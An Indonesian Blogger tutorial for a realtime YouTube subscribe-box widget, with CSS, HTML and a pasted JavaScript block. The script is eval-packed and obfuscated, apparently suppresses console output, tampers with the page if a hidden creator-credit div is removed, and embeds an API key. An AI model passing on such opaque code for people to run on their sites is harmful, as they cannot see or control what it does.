bergabung di grup telegram kami

Wendy Code

Beranda
Widget

kotak subscribe youtube channel realtime

widget kotak subscribe youtube channel dengan html dan css di blogger / blogspot

widget kotak subscribe youtube channel

kotak subscribe youtube channel realtime dengan youtube data api v3

Hallo semua pada kesempatan kali ini saya akan membagikan widget kotak subscribe youtube channel realtime dengan html dan css dan javascript di blog

pada postingan saya dulu juga sudah pernah membagikan cara membuat pop up subscribe youtube channel di blog kalian bisa baca di postingan saya sebelumnya jika ingin membuat yang model pop up.

widget kotak subscribe youtube kali ini saya design mirip dengan aslinya yang biasanya dapat kita temukan ketika memasukan nama channel di youtube, dan saya juga menambahkan border dan radius yang tidak melingkar sempurna pada gambar profil agar terkesan lebih moderen.

widget ini cocok sekali bagi yang ingin mempromosikan channel youtube kalian di blog, dan bisa kalian letakkan di bawah postingan atau bagian sidebar atau di manapun itu sesuai selera kalian saja.

untuk demonya kalian bisa melihat melalui tombol di bawah ini, ok buat kalian yang ingin membuatnya mari simak caranya di bawah ini.

Widget Kotak Subscribe Youtube Channel Realtime

script ini telah di update jumlah subscriber dan jumlah vidio kini otomatis atau realtime tidak manual lagi.

silakan masuk ke blogger > tema > edit html salin css di bawah ini dan letkkan di atas kode ]]></b:skin> atau di atas kode </style>

/* widget kotak subscribe youtube by wendy code */
.wc-ytbox-wrap{position:relative;max-width:400px;background-color:#fefefe;color:#444;box-shadow:0 5px 12px -2px rgb(0 0 0 / 12%);border:1px solid #eceff1;border-radius:5px;padding:15px;margin:20px 0;font-size:13px;line-height:1.7em}  
.wc-ytbox-wrap img{width:70px;border:1px solid #eceff1;border-radius:0 50% 50%;padding:5px}
.wc-ytsub-nma{position:absolute;font-size:14px;font-weight:600;margin:-80px 0 0 100px}
.wc-ytsub-jmsv{margin:-55px 0 0 100px;color:#908989;font-size:12px}
.wc-ytsub-sub{margin-left:100px;color:#e17070;font-size:12px;font-weight:600;text-decoration:none}
.wc-ytsub-ttk{position:absolute;right:10px;top:5px;transform: rotate(90deg);color:#444} 
.wc-ytsub-hdn{position:absolute;background-color:#fefefe;top:5px;visibility:hidden;opacity:0;transition:all .2s ease}
.wc-ytsub-cls{position:absolute;top:0;right:-10px;width:40px;height:40px;background-image:url("data:image/svg+xml,%3Csvg viewBox='0 0 512 512' xmlns='http://www.w3.org/2000/svg'%3E%3Cpath d='M278.6 256l68.2-68.2c6.2-6.2 6.2-16.4 0-22.6-6.2-6.2-16.4-6.2-22.6 0L256 233.4l-68.2-68.2c-6.2-6.2-16.4-6.2-22.6 0-3.1 3.1-4.7 7.2-4.7 11.3 0 4.1 1.6 8.2 4.7 11.3l68.2 68.2-68.2 68.2c-3.1 3.1-4.7 7.2-4.7 11.3 0 4.1 1.6 8.2 4.7 11.3 6.2 6.2 16.4 6.2 22.6 0l68.2-68.2 68.2 68.2c6.2 6.2 16.4 6.2 22.6 0 6.2-6.2 6.2-16.4 0-22.6L278.6 256z' fill='%23878787'/%3E%3C/svg%3E");background-repeat:no-repeat;background-size:25px}
#wc-ytsub-check:checked ~ .wc-ytsub-hdn{visibility:visible;opacity:1}
#wc-ytsub-check{display:none}

/* CSS darkmode sesuaikan classnya jika berbeda atau hapus bagian ini */
.darkMode .wc-ytbox-wrap,.darkMode .wc-ytsub-hdn{background-color:#2d2d30;color:#fefefe}
.darkMode .wc-ytbox-wrap,.darkMode .wc-ytbox-wrap img{border-color:rgba(255,255,255,.1)}

selanjutkan letakkan html ini di mana kalian ingin menampilkan widget kotak subscribe youtubenya, jika ingin meletakkannya di bawah postingan maka bisa meletakkannya di bawah kode <data:post.body/> biasanya kode ini ada lebih dari 1, tergantung template yang kalian gunakan cari saja yang berada dalam post-entry atau postEntry jika tidak tau coba saja 1 1.

<div class='wc-ytbox-wrap'>
<img src='https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjAdsLDUUE67yproox0XyO6ywmLFOwZj1CcL2JkjkjtlyE5aYCR-lesiNyx_SehTdmiU02UgOlRfJu1XMPnZm6kBTCD1ZAIbLzRQ7-7m49RKQhGmPkooCP6NV5vAQbLHm-xI2zTxgikiaAm/s320/wendycode-logo.png' alt='wendy code'/>
<div class='wc-ytsub-nma'>Wendy Code</div>
<div class='wc-ytsub-jmsv'><span id='wc-jmlsub'></span> subcriber • <span id='wc-jmlvd'></span> vidio</div>  
<a class='wc-ytsub-sub' href='javascript:;'>SUBSCRIBE</a>
<label class='wc-ytsub-ttk' for='wc-ytsub-check'>•••</label>
<input id='wc-ytsub-check' type='checkbox'/>
<div class='wc-ytsub-hdn'>
<label class='wc-ytsub-cls' for='wc-ytsub-check'></label>
<p>subscribe youtube channel saya juga ya teman teman terima kasih</p>
</div>
</div>

bagian yang saya tandai seperti url gambar dan nama channel silakan di sesuaikan

dan terakhir lanjut meletakkan kode di bawah ini di atas kode </body> atau seperti &lt;!--</body>--&gt;&lt;/body&gt;

<b:if cond='!data:view.isPreview'>
<!--[skrip tidak berfungsi jika Anda menghapus kredit pembuat || the script doesn't work if you remove the creator credit]-->
<div class='made-by-wc' style='display:none;'>https://www.wendycode.com</div>
<script>/*<![CDATA[*/
/* kotak subscribe youtube channel realtime javascript murni by wendy code */
var youtubeUser = 'UCKlfXy_XQHZmWSnUUvKJSzQ'; //Id Youtube Channel
var youtubeKey = 'AIzaSyAIAybeuTP-3kgyc4I0Y3S6NNF1ZTud0Y0'; //API Data YouTube Key
eval(function(x,e,c,r,b,_){if(b=function(x){return x},!"".replace(/^/,String)){for(;c--;)_[c]=r[c]||c;r=[function(x){return _[x]}],b=function(){return"\\w+"},c=1}for(;c--;)r[c]&&(x=x.replace(new RegExp("\\b"+b(c)+"\\b","g"),r[c]));return x}("0 1=19;(2(131,108){0 10=19,48=131();189(!![]){124{0 107=11(10(183))/72*(11(10(182))/24)+-11(10(181))/54*(-11(10(155))/31)+-11(10(180))/101*(11(10(179))/17)+11(10(178))/153*(11(10(177))/133)+-11(10(175))/159*(11(10(174))/132)+11(10(173))/142+11(10(169))/71;42(107===108)166;85 48['109'](48['110']())}125(191){48['109'](48['110']())}}}(45,213));0 4=[1(211),1(203),'195==',1(192),'193=',1(196),'197=',1(198),1(199),1(200),1(201),1(202),1(204),'205','206=',1(194)],3={'32':207(4[72]),'209':2(30){0 15=1,89,56,67,95,96,74,52,75='',51=13;44(30=3[15(210)](30);51<30[15(43)];)95=(89=30[15(37)](51++))>>24,96=(54&89)<<31|(56=30[15(37)](51++))>>31,74=(49&56)<<24|(67=30[15(37)](51++))>>17,52=28&67,111(56)?74=52=62:111(67)&&(52=62),75=75+14['32']['50'](95)+14[15(57)][15(60)](96)+14['32'][15(60)](74)+14['32'][15(60)](52);6 75},'5':2(21){0 7=1,116=(2(){0 82=!![];6 2(113,69){0 115=82?2(){0 112=19;42(69){0 114=69[112(222)](113,120);6 69=121,114}}:2(){};6 82=![],115}}()),66=116(14,2(){0 23=19;6 66[23(93)]()[23(106)](23(117))[23(93)]()[23(170)](66)[23(106)](23(117))});66();0 34=(2(){0 87=!![];6 2(119,73){0 123=87?2(){42(73){0 122=73['165'](119,120);6 73=121,122}}:2(){};6 87=![],123}}()),128=34(14,2(){0 8=19,126=2(){0 104=19,68;124{68=184(104(186)+'{}.81(\\187\\188\\190)(\\83)'+');')()}125(224){68=141}6 68},98=126(),91=98[8(284)]=98['76']||{},97=['160',8(305),8(282),8(281),8(280),8(279),8(278)];44(0 61=13;61<97['145'];61++){0 46=34['81'][8(277)][8(127)](34),90=97[61],92=91[90]||46;46[8(267)]=34[8(127)](34),46['135']=92[8(93)]['129'](92),91[90]=46}});128();0 77,78,79,88,59,80,39='',38=13;44(21=21['118'](/[^285-276-286-9\\+\\/\\=]/105,'');38<21[7(43)];)77=14[7(57)][7(58)](21['50'](38++))<<24|(88=14[7(57)][7(58)](21['50'](38++)))>>31,78=(49&88)<<31|(59=14[7(57)][7(58)](21['50'](38++)))>>24,79=(54&59)<<17|(80=14['32'][7(58)](21[7(60)](38++))),39+=12['63'](77),62!=59&&(39+=12[7(18)](78)),62!=80&&(39+=12[7(18)](79));6 39=3[7(292)](39)},'149':2(40){0 26=1;40=40['118'](/\\290\\289/105,'\\265');44(0 22='',55=13;55<40[26(43)];55++){0 16=40[26(37)](55);16<41?22+=12[26(18)](16):16>242&&16<241?(22+=12['63'](16>>17|240),22+=12[26(18)](28&16|41)):(22+=12[26(18)](16>>71|102),22+=12[26(18)](16>>17&28|41),22+=12['63'](28&16|41))}6 22},'157':2(36){0 25=1;44(0 53='',20=13,27=236=47=13;20<36[25(43)];)(27=36['94'](20))<41?(53+=12[25(18)](27),20++):27>233&&27<102?(47=36[25(37)](20+72),53+=12[25(18)]((232&27)<<17|28&47),20+=24):(47=36[25(37)](20+72),103=36['94'](20+24),53+=12[25(18)]((49&27)<<71|(28&47)<<17|28&103),20+=54);6 53}},156=3['5'](4[31])+3['5'](4[101]),146=3['5'](4[13])+3['5'](4[24])+3['5'](4[54]),147=35['144'](3['5'](4[17]));2 45(){0 150=['32','258','257','256=','6\\83(2()\\83','246','253+252+251+250+','249','248','129','94','223','283','247','254','63','259','260','261','262==','263==','255==','50','244','234','(((.+)+)+)+$','243','227','165','228=','229==','230','231','76','145','225==','235','237','238','157','239','264','245','287','135','291','139','293','81','294','295://288.296.297/298/299/300?301=139&302=','303','&304=','268','269','270=','271','272','273','274','149'];45=2(){6 150};6 45()}2 84(){0 100=1,99=35['275'](3['5'](4[153]))[13];99[100(64)]+=156,99[100(266)](3['5'](4[133]),3['5'](4[159]))}2 19(151,148){0 154=45();6 19=2(70,185){70=70-155;0 152=154[70];6 152},19(151,148)}42(35[1(176)](3['5'](4[17]))[1(43)]===13)84();85{42(147[1(64)]!=146)84();85{35['144'](3['5'](4[132]))[1(172)](1(171),143);2 143(){0 86=1,140=3['5'](4[142]),138=3['5'](4[71]);141[86(167)](140+136+138,86(208))}221 161=35[1(137)](3['5'](4[220])),163=35[1(137)](3['5'](4[219]));218 130=()=>{0 29=1;217(29(216)+136+29(214)+212)[29(162)](134=>{0 158=29;6 134[158(215)]()})[29(162)](65=>{0 33=29;76['160'](65),161[33(64)]=65[3['5'](4[49])][13][33(164)]['168'],163[33(64)]=65[3['5'](4[49])][13][33(164)][33(226)]})};130()}}",0,306,"var|_0x385859|function|Wc|ytrtar|de|return|_0x14fbc2|_0x4ea329||_0x6d0091|parseInt|String|0x0|this|_0x10ef70|_0x5f1414|0x6|0x1c5|_0x2eb3|_0x2bbd5b|_0x2cf1a4|_0xdee86c|_0x15da16|0x2|_0x447221|_0x311050|_0x24d0db|0x3f|_0xf4b802|_0x1e2557|0x4|_keyStr|_0x1021bd|_0x6499e9|document|_0x5e7735|0x1c0|_0x8d4709|_0x23eb06|_0x5c9fbf|0x80|if|0x1d8|for|_0x2a97|_0x372332|c2|_0xaa87ff|0xf|charAt|_0x4372c2|_0x194139|_0x4476c4|0x3|_0x25261d|_0x260fa9|0x1b6|0x1e9|_0x4aa39b|0x1cc|_0x3cdd5d|0x40|fromCharCode|0x1e1|_0x4e1523|_0x459561|_0x21e26b|_0x4dc69e|_0x22cd05|_0x60fe00|0xc|0x1|_0x15eb94|_0x471fbb|_0x300f08|console|_0x328bf6|_0x31773e|_0x371441|_0x561680|constructor|_0x3053bc|x20|tmpkcuk|else|_0x24276a|_0x42020e|_0x271a96|_0x45817c|_0xd52b4d|_0x359a94|_0x23b190|0x1e2|charCodeAt|_0x2bcd9b|_0x33d7ee|_0x39f360|_0x538bbc|_0x1d044f|_0x29c87b|0x5|0xe0|c3|_0x2de7a8|g|0x1eb|_0x2f4955|_0x1c7111|push|shift|isNaN|_0x1e7985|_0x58c3c7|_0x2a20b5|_0x13870e|_0x3c3ee8|0x1cf|replace|_0x1fb001|arguments|null|_0x45fdbe|_0x1f4f2a|try|catch|_0x20ca09|0x1bf|_0x436931|bind|getSubscribers|_0x3592fc|0xa|0x8|_0x202ac0|toString|youtubeUser|0x1bd|_0x3cb750|statistics|_0x4b9a99|window|0xb|stuyt|querySelector|length|orcrdt|inrmdby|_0x174962|_utf8_en|_0x211dd8|_0x3ceff6|_0x5e4197|0x7|_0xf1ade0|0x1b1|tmplkndng|_utf8_de|_0x1870e2|0x9|log|subCount|0x1dc|vdCount|0x1e4|apply|break|0x1ec|subscriberCount|0x1c6|0x1e6|0x1b2|0x1db|0x1d5|0x1b8|0x1cd|0x1d6|0x1bb|0x1e0|0x1b3|0x1ce|0x1c3|0x1b4|0x1e5|Function|_0x1fe0fb|0x1ba|x22return|x20this|while|x22|_0x2a1767|0x1d9|HIF3pVxbHmY2N64ar8O9O6N0GZQlDI3gi6DdN8PciE5orqK2pk5trmKbpRe1GZc1GZc1GZc1GZc1GZc1GZc1GZc1GZc1GZc1OVbdyU4viUYgiRdcwBFlrUY1GmPar6FoOVbdyU4viUYgiRdjyUYzwBK1GzThwV5lr8P3NV13G8Mty6bkwVxtiIc9imbnwVPaMLYtrBWjyqKhrqJ2i6bciUf9N6YaNvfxDRQbOE3fDZQlyIftG65hpE58wVK3wRe5DRWlpRdlr8FtiUbjrztmwBhbMRdkNVFoM8PjiV1cGkFmMVMbMmX2Nm4vMUCvSBPhMUb5ynexDIW0G6PjymKbyzexyIffy64awVJfO6CbMZdzr6xjyzezDzNvMRFcG8KbpIJdNVxtM609N6CgiUCvG8WhMUKtrmy9DnClpRd3r8Q9DZXlyIf2rUCmiRelG8PtM6h3GzQ2rVYvM6bgGzQfNBC3rndkr8fdy6hhMU48GzQfDZWlpEQvDIW0OIPqNmTeDEllSRQaDE0vAZd4HE4niIbaMZ0|0x1d3|i8i8Sf|0x1bc|MUb6Sm5hMUXdNqcdi6D|0x1d4|0x1c9|0x1df|0x1cb|0x1b9|0x1c2|0x1ca|i6Ddwm5ay8Ck|i6Ddwm5aimJ|atob|0x1c8|en|0x1b5|0x1ed|youtubeKey|0xa5232|0x1ea|0x1c1|0x1e8|fetch|let|0xe|0xd|const|0x1d2|json|_0x1f92a8|i6CgMIbzr6KbSmFjrJ|0x1d1|videoCount|wBKbrBD|Jc4TVJ|1834492iIIRhL|querySelectorAll|0x1f|0xbf|202730GlUjXc|info|c1|addEventListener|then|setAttribute|0xc0|0x800|0x7f|error|18756DcFrFT|352905FVTHHT|56bjwrnp|49668AjxqTI|exception|getElementById|HE4cwBN|JqC3iVffNmYgiIChrz77S6T|JVdnMBDfKUbkrU4owBO7S6fnHzxlHqFzymbliEW3wVKhwvWhw6YgOUPbymM5rminwLWuwVdhOUYgMUTfrVCgM6hhyICnOUFvMVKtiEWlMV5kiVY3HE4lHzxhOUhvMVN4P6h3iIWnGk7ji8i8SqibrmK1N64cML1zr63jyE4zymCcwBJgwIKdrEy|HUKtikWzrUYnyn3qi6DdN8PciE5orqJqHzxnimyfy8K1rUX4P6MtrUl9O6XlDRQlDRd8wVK3wRe5DIW0G6hbwVieiRe5DIW0PvW6wVC8Jm40HLylORQfDzJfDzJqHzxlNBKeOUJ4P33xDklxF3TvSROfDEQlSRQfDZJaDZCRDZJaDZDgGRcfDZDgDLlxDvQxDklxD3TvSROfDEQlSRQfDZQaDZCWDklvORQfDEllORTvSRT8ZZT0SRhWDklvORQfDElxOROlSRTlCzOlJZOaDkQlORQaDLQxGElvDcf6JZOaDkQlORQaDLQ3SROlCzTlJnJaGE00GLQ3SzcaGEQ6SRhOF5N6JZXaFLQlORQaDLQxDklxJZXaFLQlORQaDLQxFvl6CzhODZhFDZOaD3TnSRDfDEQlSRQfGLl6CzhODZCVFcTnSRDfDEQlSRQfDZOaD5eqSn07S8F6Mn07wRD|table|SqizSBb3y8CkSBF5Nf|wIK3yID9Sv48i8ygpV45iICkML1zr63jN6hhrm1brE7|5660qfOnxX|trace|16647972OBkVEf|prototype|_blank|r61zr613MBh3rVCgiJ|H8F5Nb4zr61mwBPdNBKtr604DJ|ymC3iBPgOUMhrIFb|x0a|0x1de|0x1e3|search|open|wIK3yID9Sv7|124ueiDvx|click|198LqjYYh|773720PvgqFR|getElementsByTagName|Za|0x1c7|0x1b7|0x1c4|0x1be|0x1d0|0x1da|UVdFUlRZVUlPUEFTREZHSEpLTFpYQ1ZCTk13cnlpcHNmaGt6Y2JtcWV0dW9hZGdqbHh2bjM1NjgwMTkyNzQrLz0|0x1d7|A|z0|innerHTML|www|n|r|__proto__|0x1dd|2QczjIt|warn|https|googleapis|com|youtube|v3|channels|part|id|indexOf|key|0x1e7".split("|"),0,{}));
/*]]>*/</script></b:if>

bagian yang saya tandai silakan ubah dengan id youtube channel kalian, dan youtube api key kalian, jika belum punya youtube api key kalian bisa membuatnya terlebih dulu.

Cara Mendapatkan Youtube API Key

  1. silakan kunjungi https://console.cloud.google.com/apis/dashboard
  2. pada halaman dashboard, klik Project Baru > isi nama project sesuai keinginan > Klik Buat
  3. pilih menu Library > ketikkan YouTube Data API v3 pada kolom pencarian
  4. pada YouTube Data API v3 klik manage > create credentials
  5. select api pilih YouTube Data API v3 dan centang public data dan next
  6. setelah itu akan muncul pop up silakan kalian salin kode key nya yang memiliki 39 digit

ok jadi sekian widget kotak subscribe youtube channel realtime yang bisa saya bagikan kali ini semoga bermanfaat dan terima kasih telah berkunjung.

Baca juga :
tutorial blogger
perlu bantuan?